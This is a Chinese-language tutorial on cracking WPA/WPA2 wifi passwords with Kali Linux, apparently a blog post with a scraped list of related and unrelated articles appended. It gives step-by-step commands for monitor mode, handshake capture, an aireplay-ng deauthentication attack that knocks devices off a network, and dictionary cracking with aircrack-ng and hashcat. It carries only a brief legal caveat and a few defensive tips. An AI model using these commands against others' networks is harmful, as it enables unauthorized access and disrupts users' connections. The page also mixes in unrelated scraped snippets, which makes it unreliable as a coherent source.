Kali Linux使用Aircrack破解wifi密码(wpa/wpa2)
Kali Linux能做很多事,但是它主要以渗透测试及’破解wifi密码’闻名。
如果你使用Macbook 请看 使用macbook破解WPA/WPA2 wifi密码
要求:
- 安装有Kali Linux的计算机
- 支持监控模式的网卡,笔记本电脑一般都支持
- 字典文件
- 时间和耐心
这种攻击需要字典文件,一个好的字典至关重要。我以Kali Linux自带的rockyou字典为例,位于/user/share/wordlists/rockyou.txt.gz。
使用前先解压:
# gzip -d /usr/share/wordlists/rockyou.txt.gz
注意:破解其他人的wifi密码是“犯罪”,so,don’t;我使用自己的无线路由器演示。
知道了攻击方法,你自然就知道怎么防范了。
1)首先断开连接的wifi。
在终端中执行:
# airmon-ng

上面命令列出了支持监控模式的无线网卡。如果没有任何输出,表示无线网卡不支持监控模式。你可以看到我的wlan0支持监控模式。
2)开启无线网卡的监控模式
# airmon-ng start wlan0

执行成功之后网卡接口变为wlan0mon;可以使用ifconfig命令查看。
3)查看wifi网络
# airodump-ng wlan0mon
上面列出了周围的wifi和它们的详细信息,包括信号强度、加密类型、频道等。要记住要破解wifi的频道号和BSSID。
按Ctrl-C结束。
4)抓取握手包
使用网卡的监听模式抓取周围的无线网络数据包。其中,对我们最重要的数据包是:包含密码的包-也叫握手包。当有新用户或断开用户自动连接wifi时,会发送握手包。
开始抓包:
# airodump-ng -c 6 --bssid BC:46:99:66:F9:84 -w ~/ wlan0mon
参数解释:
- -c指定频道号
- –bssid指定路由器bssid
- -w指定抓取的数据包保存位置

5)强制连接到wifi的设备重新连接路由器
现在我们只要等用户连接/重连接wifi了,运气不好也许要很长时间。
但是我们是不会等的,这不是耐心黑客该干的事。有一个叫aireplay-ng的工具,它可以强制用户断开wifi连接;原理是,给连接到wifi的一个设备发送一个deauth(反认证)包,让那个设备断开wifi,随后它自然会再次连接wifi。
aireplay-ng的生效前提是,wifi网络中至少有一个连接的设备。从上图(4)可以看到哪些设备连接到了wifi,STATION就是连接设备的MAC地址,记住一个。
打开新终端执行:
aireplay-ng -0 2 -a 46:99:66:F9:84 -c B8:E8:56:09:CC:9C wlan0mon
参数解释:
- -0表示发起deauthentication攻击
- -a指定无线路由器BSSID
- -c指定强制断开的设备

如果成功:

按Ctrl-C结束抓包。
我们已经得到了想要的握手包了,可以结束无线网卡的监控模式了:
# airmon-ng stop wlan0mon

6) 开始破解密码
# aircrack-ng -a2 -b C8:3A:35:30:3E:C8 -w /usr/share/wordlists/rockyou.txt ~/*.cap
参数解释:
- -a2代表WPA的握手包
- -b指定要破解的wifi BSSID。
- -w指定字典文件
- 最后是抓取的包

可选)使用显卡的运算能力
如果你有一个强大的GPU,为什么不使用GPU跑字典呢?
Hashcat可以借助GPU的运算力破解各种不同算法的hash值。
下载时要注意选择正确的显卡类型(AMD、NVidia)。Kali Linux自带这个工具。
在破解cap文件之前,要把它转换为hccap文件:
# aircrack-ng file.cap -J out.hccap
使用GPU破解hash:
# hashcat -m 2500 out.hccap 字典文件
总结:
- 防止这种攻击最简单的方法是设置贼复杂贼长的密码;
- 不要使用WEP加密方式,非常容易被破解
- 现在的无线路由器都有WPS功能,关了吧
Kali Linux使用Aircrack破解wifi密码(wpa/wpa2)的更多相关文章
- 使用Reaver破解开启了WPS功能的wifi密码(wpa/wpa2)
来自wikipeida: Wi-Fi保护设置(简称WPS,全称Wi-Fi Protected Setup)是一个无线网络安全标准,旨在让家庭用户使用无线网络时简化加密步骤.此标准由Wi-Fi联盟(Wi ...
- aircrack 破解wifi密码
分享一个用aircrack破解wifi密码的步骤: 1.新建一个终端 airmon-ng check kill airmon-ng start wlan0 airodump-ng wlan0mon 此 ...
- Mac系统安装Aircrack-ng破解wifi密码(2)
我们上一篇文章说过如何通过Aircrack-ng, 破解使用WPA/PSK加密方式的路由密码, 这一篇介绍的是使用Aircrack-ng破解使用WEP加密方式的路由密码: WEP和WPA/PSK的区别 ...
- Kali Linux下破解WIFI密码挂载usb无线网卡的方法
Kali Linux下破解WIFI密码挂载usb无线网卡的方法 时间:2014-10-12 来源:服务器之家 投稿:root 首先我要说的是,wifi密码的破解不是想象中的那么容易,目前还 ...
- 路由器安全——破解wifi密码,同时中间人攻击
聊聊安全那些事儿 篇一:Wi-Fi安全浅析 2016-04-25 13:18:16 141点赞 712收藏 63评论 前言 近期,Wi-Fi相关的安全话题充斥着电视新闻的大屏幕,先是曝出了路由器劫持的 ...
- 真正的手机破解wifi密码,aircrack-ng,reaver,仅限mx2(BCM4330芯片)
仅限mx2(BCM4330芯片),mx可能有戏没测试(BCM4329?),mx3不行. PS:原生安卓应用,非虚拟机 reaver,不知道是啥的看这里http://tieba.baidu.com/p/ ...
- ubuntu-16.04(linux)使用Reaver爆破wifi密码(路由器的WPS功能漏洞)
路由器的WPS功能 很多路由器都有WPS功能, 这边的WPS不是office工具软件, 而是路由器的一个功能: 路由器中WPS是由Wi-Fi联盟所推出的全新Wi-Fi安全防护设定(Wi-Fi Prot ...
- 用 Python 破解 WiFi 密码
如今,WiFi 跟我们的生活息息相关,无处不在.没有 WiFi 的地方是没有灵魂的! 然而,比没有WiFi更让人绝望的,是有满格WiFi信号却没有密码…… 今天我们就来尝试下,如何利用pyth ...
- MACBOOK 破解wifi密码
MACBOOK 破解wifi密码 Table of Contents 1. 安装homebrew 2. 安装aircrack-ng 3. 获取wifi网卡信息 4. 获取所有可识别的wifi信息 5. ...
随机推荐
- Nhibernate工具Profiler配置
1.使用之前需要确认Framework的Version,如果是4.0那么使用如下程序集需要在 创建ISessionFactory的项目中引用NHProfiler安装目录下的 HibernatingRh ...
- Spring 配置log4j和简单介绍Log4J的使用
Log4j 是Apache的一个开放源代码项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台.文件.GUI组件.甚至是套接口服务器.NT的事 件记录器.UNIX Syslog守护进程等 ...
- centos7 上搭建私有云
OwnCloud环境搭建 一. 环境搭建 1. 环境需求 服务器操作系统:Centos7.0 外网服务器操作系统:Centos7.0 Php版本号:5.4.16 Mysql版本号:5.5.52 Apa ...
- windows vs 编译tesseract-ocr
第一把所有相关的代码都下载,github最方便 https://github.com/tesseract-ocr/tesseract 要点1.cppan c++的中文管理包,很方便,需要翻-墙,安装包 ...
- menubar下面的选项不可以输入中文
这是一个QT5的bug. 1.不用中文,使用英文: 2.先输入中文,然后在属性Action里面的text里改成中文.
- 无网络环境用pip安装python类包
1.现在有网络的电脑安装相应的包 pip install django 2.安装完成后 打包 1)新建一个文件夹(package),用来存放包: 2)执行 pip list #查看安装的包 pip f ...
- fabric查看本地与远程主机信息
#!/usr/bin/pythonfrom fabric.api import *env.user='root'env.hosts=['172.10.224.183','172.10.224.132' ...
- Spring注解(环境)
以数据库为例: 引入 c3p0数据源maven坐标 数据库驱动 @Configuration @PropertySource("classpath:/db.config.properties ...
- C++线程池总结
本文采用pthread实现线程池,有以下几个类. CTask:任务抽象类,主要提供接口,供子类实现. CMyTask:继承CTask实现接口 CThreadPool:线程池类,用于管理线程. 信号量: ...
- C++ 之虚函数的实现原理
c++的多态使用虚函数实现,通过“晚绑定”,使程序在运行的时候,根据对象的类型去执行对应的虚函数. C++ 之虚函数的实现原理 带有虚函数的类,编译器会为其额外分配一个虚函数表,里面记录的使虚函数的地 ...